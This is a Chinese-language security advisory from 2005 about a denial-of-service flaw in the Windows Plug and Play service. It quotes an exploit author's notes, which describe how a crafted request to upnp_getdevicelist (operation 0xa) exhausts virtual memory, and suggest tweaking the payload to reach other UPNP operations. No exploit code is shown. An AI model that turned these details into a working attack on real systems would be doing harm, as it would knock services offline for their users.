Microsoft Windows即插即用拒绝服务漏洞

发布日期：2005-11-16
更新日期：2005-11-16

受影响系统：

Microsoft Windows XP SP1
Microsoft Windows 2000SP4

描述：

---

BUGTRAQ ID: 15460

Microsoft Windows即插即用（PnP）允许操作系统在安装新硬件时能够检测到这些硬件。

Microsoft Windows即插即用服务中存在拒绝服务漏洞。如果攻击者能够向upnp_getdevicelist发送特制请求的话，就可能导致services.exe消耗过多的内存，直到耗尽目标机器的虚拟内存。

请注意这个漏洞与MS05-047中所述漏洞无关。

* Details:
* While working on the exploit for MS05-047 i came a cross a condition where
* a specially crafted request to upnp_getdevicelist would cause
* services.exe to consume memory to a point where the target machines virtual
* memory gets exhausted. This exploit is NOT similar to the MS05-047 exploit i
* published earlier. The earlier one trashed the EIP of the target causing a
* crash in services.exe and eventually brought down the system to shut down.
* However in this exploit (again a DOS) the virtual memory is consumed to a
* point where desktop requests (like clicking "My Computer"), HTTP requests,
* SMB requests etc does not get serviced for sometime. After sometime the
* memory usage comes down and the target system would work as normal. However
* this code when continuosly executed against a target leads to a sustained
* DOS attack.
* Start the task manager on the target system and run this code against the
* target and watch the virtual memory usage shoot up.
*
* I used windbg to break on calls to upnp_getdevicelist when running this code.
* However even before the break point is hit the system becomes unresponsive.
* Strangely though changing the operation number in the DCERPC request to
* something else other than 0xa (upnp_getdevicelist) will make the DOS attempt
* fail. Perhaps changing the payload a little bit, so that the underlying
* demarshalling routines dont return an error, might reproduce this effect
* for other UPNP operations as well.
*
* TESTED ON: Windows 2000 server SP0, SP2 and SP3. I have not tested this on
* any of the above machines with the recent hot fixes for UPNP.
*
* Note: This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes
* The author shall bear no responsibility for any damage caused by using this code.
